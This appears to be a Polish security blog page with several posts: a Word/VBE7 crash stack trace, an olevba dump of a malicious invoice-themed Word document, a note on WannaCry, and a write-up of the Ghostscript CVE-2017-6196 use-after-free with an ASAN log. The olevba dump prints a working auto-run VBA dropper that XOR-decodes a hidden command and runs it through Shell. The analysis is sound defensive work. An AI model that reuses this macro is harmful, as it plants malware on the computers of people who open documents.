0:000> u @$scopeip
VBE7!DllVbeTerm+0x137c3:
00007ffe`62f8f273 488b4f28        mov     rcx,qword ptr [rdi+28h]
00007ffe`62f8f277 e864e9f3ff      call    VBE7!rtcDoEvents+0x8fc (00007ffe`62ecdbe0)
00007ffe`62f8f27c 85c0            test    eax,eax
00007ffe`62f8f27e 0f8498d60a00    je      VBE7!rtcVarFromFormatVar+0x1010c (00007ffe`6303c91c)
00007ffe`62f8f284 85f6            test    esi,esi
00007ffe`62f8f286 0f85bad70a00    jne     VBE7!rtcVarFromFormatVar+0x10236 (00007ffe`6303ca46)
00007ffe`62f8f28c 488bcf          mov     rcx,rdi
00007ffe`62f8f28f e884e9f3ff      call    VBE7!rtcDoEvents+0x934 (00007ffe`62ecdc18)

Stacktrace


00 VBE7!DllVbeTerm+0x137c3
01 VBE7!DllVbeTerm+0xbe04e
02 VBE7!rtcSetCurrentCalendar+0x2dd5f
03 VBE7!rtcInputCharCountVar+0x827a
04 VBE7!rtcInputCharCountVar+0x99f6
05 VBE7!rtcInputCharCountVar+0x8425
06 VBE7!rtcGetHostLCID+0x2a4b
07 VBE7!DllVbeTerm+0x61d71
08 VBE7!GetLongPathNameA+0xc7de
09 VBE7!DllVbeTerm+0x46eaa
0a VBE7!VarPtr+0x416ba
0b VBE7!VarPtr+0x4196b
0c oleaut32!LoadTypeLib+0x33e
0d oleaut32!DispCallFunc+0x26e
0e VBE7!VarPtr+0x1d27a
0f VBE7!VarPtr+0x1b26b
10 VBE7!rtcEndOfFile+0x6443
11 VBE7!rtcEndOfFile+0x6322
12 wwlib!DllCanUnloadNow+0x251a58
13 wwlib!DllCanUnloadNow+0x250d55
14 wwlib!DllCanUnloadNow+0x1354a1
15 wwlib!PTLS7::LsDestroyContext+0x25c726
16 wwlib!DllCanUnloadNow+0x2ef6a
17 wwlib!PTLS7::LsDestroyContext+0x3b39bd
18 wwlib!PTLS7::LsNotReached+0x79be2
19 wwlib!PTLS7::FsDestroyPageBreakRecord+0x246b
1a wwlib!PTLS7::FsDestroyPageBreakRecord+0x22be
1b mso99Lwin32client+0xddb7d
1c mso99Lwin32client+0xddac9
1d mso99Lwin32client+0x47873
1e mso99Lwin32client+0x45f09
1f mso99Lwin32client+0x202da
20 mso99Lwin32client+0x127851
21 mso40uiwin32client!Ordinal177+0x2d4
22 USER32!DispatchMessageW+0x154
23 USER32!ScrollDC+0x1f7
24 wwlib!PTLS7::LsNotReached+0x7bd49
25 wwlib!FMain+0x61
26 WINWORD+0x1230
27 WINWORD+0x1519
28 KERNEL32!BaseThreadInitThunk+0xd
29 ntdll!RtlUserThreadStart+0x1d

Jak rozwiązywać podobne problemy?

Podczas analizy makr (np. pod kątem droppowania malware’u) lub awarii jakie powodują, warto zapoznać się z narzędziem olevba, częścią bardzo użytecznego pakietu oletools.

Poniżej zrzut makr ze złośliwego dokumentu (wraz z fajnym wyjaśnieniem co może być potencjalnie niebezpieczne):

===============================================================================
FILE: Zamówienie i płatność.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub DocUment_OpEn()
If ActiveDocument.Variables("zBItWM").Value <> "tomas" Then
FJQHUgQozaiPBvJ
ActiveDocument.Variables("zBItWM").Value = "tomas"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

-------------------------------------------------------------------------------
VBA MACRO avBsOWK.bin 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/avBsOWK'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function QjrTnnWOcy(wNegMNijCu As Variant, aDdxKnvZPQ As Integer)
Dim BzxQRdyOYL, qDaHzkRvOe As String, EuuPpMnYah, imwtnySfgV
qDaHzkRvOe = ActiveDocument.Variables("zBItWM").Value()
BzxQRdyOYL = ""
EuuPpMnYah = 1
While EuuPpMnYah < UBound(wNegMNijCu) + 2
imwtnySfgV = EuuPpMnYah Mod Len(qDaHzkRvOe): If imwtnySfgV = 0 Then imwtnySfgV = Len(qDaHzkRvOe)
BzxQRdyOYL = BzxQRdyOYL + Chr(Asc(Mid(qDaHzkRvOe, imwtnySfgV + aDdxKnvZPQ, 1)) Xor CInt(wNegMNijCu(EuuPpMnYah - 1)))
EuuPpMnYah = EuuPpMnYah + 1
Wend
QjrTnnWOcy = BzxQRdyOYL
End Function
Function lbf()
lbf = Array(Minute(Now), Minute(Now), Minute(Now), QjrTnnWOcy(Array(0, 30, 46), 9), Minute(Now))
End Function
Function im()
im = Array(QjrTnnWOcy(Array(126, 115, 8), 204), Minute(Now))
End Function
Function fdf()
fdf = Array(Minute(Now), Minute(Now), QjrTnnWOcy(Array(32, 69, 110, 14, 79, 91), 2))
End Function
Function jojo()
gog = QjrTnnWOcy(Array(111, 98, 42, 23, 60, 65, 106, 56, 13, 49, 104, 62, 55, 117, 16, 125, 25, 62, 45, 35, 59, _
55, 111, 28, 36, 110, 98, 2, 61, 40, 57, 21, 97, 36, 28, 10, 61, 40, 2, 52, 80, _
107, 122, 18, 15, 45, 103, 61, 59, 54, 18, 33, 54, 4, 7, 0, 58, 81, 37, 61, 41, _
59, 64, 49, 63, 104, 91, 32, 25, 42, 65, 111, 53, 12, 52, 114, 7, 57, 40, 15, 26, _
20, 4, 32, 102, 127, 14, 10, 21, 45, 22, 31, 57, 61, 24, 10, 25, 28, 14, 49, 15, _
61, 29, 3, 32, 126, 50, 117, 48, 39, 58, 65, 52, 85, 30, 23, 33, 41, 27, 9, 25, _
30, 71, 56, 21, 67, 11, 30, 67, 18, 2, 93, 84, 121, 19, 58, 63, 30, 111, 18, 109, _
50, 7, 52, 84, 51, 31, 44, 116, 127, 11, 41, 41, 86, 92, 53, 82, 20, 26, 4, 42, _
45, 109, 89, 23, 104, 22, 62, 26, 42, 41, 106, 62, 49, 57, 65, 48, 80, 16, 50, 29, _
19, 34, 19, 23, 20, 119, 103, 48, 1, 11, 76), 12)
g1 = QjrTnnWOcy(Array(23, 4, 38, 96, 6, 46, 21, 11, 44, 53, 83, 33, 41, 119, 10, 50, 63, 54, 39, 2, 72, _
98, 36, 62, 42, 44, 23, 7, 1, 33, 43, 59, 23, 101, 17, 57, 0, 104, 24, 57, 7, _
61, 106, 109, 41, 4, 106, 108, 5, 41, 35, 68, 49, 83), 207)
gog3 = QjrTnnWOcy(Array(108), 0)
jojo = g1 & gog & gog3
End Function
Sub FJQHUgQozaiPBvJ()
ymus = VarType(Application.Build)
If ymus = 8 Then
fropi = Array(lbf()(3), im()(0), fdf()(2))
df = Join(fropi, "") & jojo
Dim retv As Variant
retv = Shell(df, vbHide)
End If
End Sub


+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | DocUment_OpEn | Runs when the Word or Publisher         |
|            |               | document is opened                      |
| Suspicious | Chr           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | vbHide        | May run an executable file or a system  |
|            |               | command                                 |
+------------+---------------+-----------------------------------------+

WannaCry Ransomware

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska o ransomware, który sparaliżował przed ostatnim weekendem (13-14 maja) masę instytucji w ponad 100 krajach – WannaCry.

Zajawka:

WannaCry (inne nazwy WCry, WannaCrypt, WanaCrypt0r) jest bardzo skutecznym w swoim działaniu złośliwym oprogramowaniem typu ransomware, które 12 maja swoim zasięgiem objęło ponad 100 krajów i 200 tysięcy komputerów z systemem operacyjnym Windows.

Ofiarami padły takie instytucje jak: brytyjska służba zdrowia, Nissan, Telefonica, FedEx, rosyjskie banki i koleje państwowe, indyjskie linie lotnicze Shaheen Airlines oraz włoskie uniwersytety. Kampania WannaCry mimo ogromnego zasięgu nie odniosła sukcesu komercyjnego – zdecydowało się zapłacić około 200 osób, a całkowita suma wpłat wynosi około 50 tysięcy dolarów.

Całość wpisu 🙂

[CVE-2017-6196] Ghostscript 9.21 – Use-after-free

Słowo wstępu

Przez prawie 1,5 miesiąca nie pojawił się na blogu żaden post dt. podatności – zdecydowanie nadszedł czas, aby to zmienić.

W tym poście opiszę bardzo ciekawe use-after-free w projekcie Ghostscript – interpreterze języka PostScript oraz plików PDF.

Oprogramowanie to jest często wykorzystywane jako core generatorów plików PDF lub demon zajmujący się obsługą plików rastrowych w drukarkach komputerowych. Często można z niego korzystać nawet nie wiedząc o jego istnieniu 🙂

Opis podatności

Luka występowała w wersji 9.21 (ostatnia stabilna, Git HEAD: 4d2b25f06c25e6e3e2b1bf319481a7442d42af8a).

Clue problemu było zarządzanie cyklem życia “obiektu” enumeratora używanego w funkcjach gx_begin_image1(), gx_begin_image4() oraz gx_image_enum_begin() (funkcja ta była wywoływana przez dwie pierwsze).

Pamięć dla enumetora alokowana była w funkcjach gx_begin_image[1,4]() i zwalniana w momencie zgłoszenia błędu przez gx_image_enum_begin().

Do tego momentu wszystko jest okej. Jednak ktoś wpadł na pomysł aby również w funkcji gx_image_enum_begin() zwalniać pamięć enumeratora przy okazji wystąpenia błędu.

Dodatkowo żeby dolać oliwy do ognia: nie zawsze pamięć w funkcji gx_image_enum_begin() była zwalniana. Z racji rozmiaru funkcji (prawie 750 LOC), kończy ona swoje wykonywanie w 9 miejscach – tylko 4 “wyjścia z funkcji” kończyły się zwolnieniem pamięci.

Następnie funkcja i_free_object() powołana do właściwego sprzątania po obiektach, sprawdzając typ obiektu – korzystała ze zwolnionej pamięci i triggerowała use-after-free.

Krótkie podsumowanie dla czytelników, którzy “złapali” overflow:

  1. Funkcja gx_begin_image[1,4]() alokuje enumerator i wywołuje funkcję gx_image_enum_begin()
  2. W przypadku wystąpienia błędu w gx_image_enum_begin(), funkcja gx_begin_image[1,4]() zwalnia pamięć tego obiektu
  3. Przy pewnych warunkach funkcja gx_image_enum_begin() również zwalnia pamięć tego obiektu
  4. Funkcja gx_begin_image[1,4]() “sprząta” po wszystkim za pomocą m.in. i_free_object()
  5. Do zadań i_free_object() należy sprawdzenie typu obiektu, który jest następnie zwalniany – w tym momencie dochodzi do odczytu zwolnionej pamięci

Załatanie tego błędu było banalnie proste i sprowadziło się do usunięcia czterech wywołań funkcji gs_free_object() w gx_image_enum_begin() – według zasady: “nie alokujesz pamięci, to też jej nie zwalniasz” 🙂

Log z ASAN:

==20050==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000258 at pc 0x0000013f34f7 bp 0x7ffd6a96d7b0 sp 0x7ffd6a96d7a8
READ of size 8 at 0x62b000000258 thread T0
    #0 0x13f34f6 in i_free_object XYZ/ghostpdl/./base/gsalloc.c:1418:18
    #1 0x17fed3f in gx_begin_image1 XYZ/ghostpdl/./base/gximage1.c:99:9
    #2 0x18a7e16 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1059:12
    #3 0x18a79f8 in gx_default_begin_image XYZ/ghostpdl/./base/gdevddrw.c:1024:12
    #4 0x18a7d93 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1051:24
    #5 0x1476174 in gs_image_begin_typed XYZ/ghostpdl/./base/gsimage.c:252:12
    #6 0x1b344e5 in zimage_setup XYZ/ghostpdl/./psi/zimage.c:184:9
    #7 0x1b35cff in image1_setup XYZ/ghostpdl/./psi/zimage.c:246:12
    #8 0x1a22d37 in interp XYZ/ghostpdl/./psi/interp.c:1578:40
    #9 0x1a22d37 in gs_call_interp XYZ/ghostpdl/./psi/interp.c:511
    #10 0x1a22d37 in gs_interpret XYZ/ghostpdl/./psi/interp.c:468
    #11 0x19f5ab2 in gs_main_interpret XYZ/ghostpdl/./psi/imain.c:238:12
    #12 0x19f5ab2 in gs_main_run_string_end XYZ/ghostpdl/./psi/imain.c:656
    #13 0x19f5ab2 in gs_main_run_string_with_length XYZ/ghostpdl/./psi/imain.c:614
    #14 0x1a019ee in run_string XYZ/ghostpdl/./psi/imainarg.c:977:16
    #15 0x1a019ee in runarg XYZ/ghostpdl/./psi/imainarg.c:967
    #16 0x1a00e48 in argproc XYZ/ghostpdl/./psi/imainarg.c:900:16
    #17 0x19f9963 in gs_main_init_with_args XYZ/ghostpdl/./psi/imainarg.c:238:24
    #18 0x5475d8 in main XYZ/ghostpdl/./psi/gs.c:96:16
    #19 0x7f9f5c0d582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #20 0x47ba08 in _start (/usr/local/bin/gs+0x47ba08)

0x62b000000258 is located 88 bytes inside of 24928-byte region [0x62b000000200,0x62b000006360)
freed by thread T0 here:
    #0 0x519ecb in __interceptor_free /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x148af3f in gs_heap_free_object XYZ/ghostpdl/./base/gsmalloc.c:354:5

previously allocated by thread T0 here:
    #0 0x51a21c in malloc /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x148a4ff in gs_heap_alloc_bytes XYZ/ghostpdl/./base/gsmalloc.c:189:34

SUMMARY: AddressSanitizer: heap-use-after-free XYZ/ghostpdl/./base/gsalloc.c:1418:18 in i_free_object
Shadow bytes around the buggy address:
  0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==20050==ABORTING

Bug #697596 w Bugzilli

Commit naprawiający: ecceafe3abba2714ef9b432035fe0739d9b1a283

CVE: CVE-2017-6196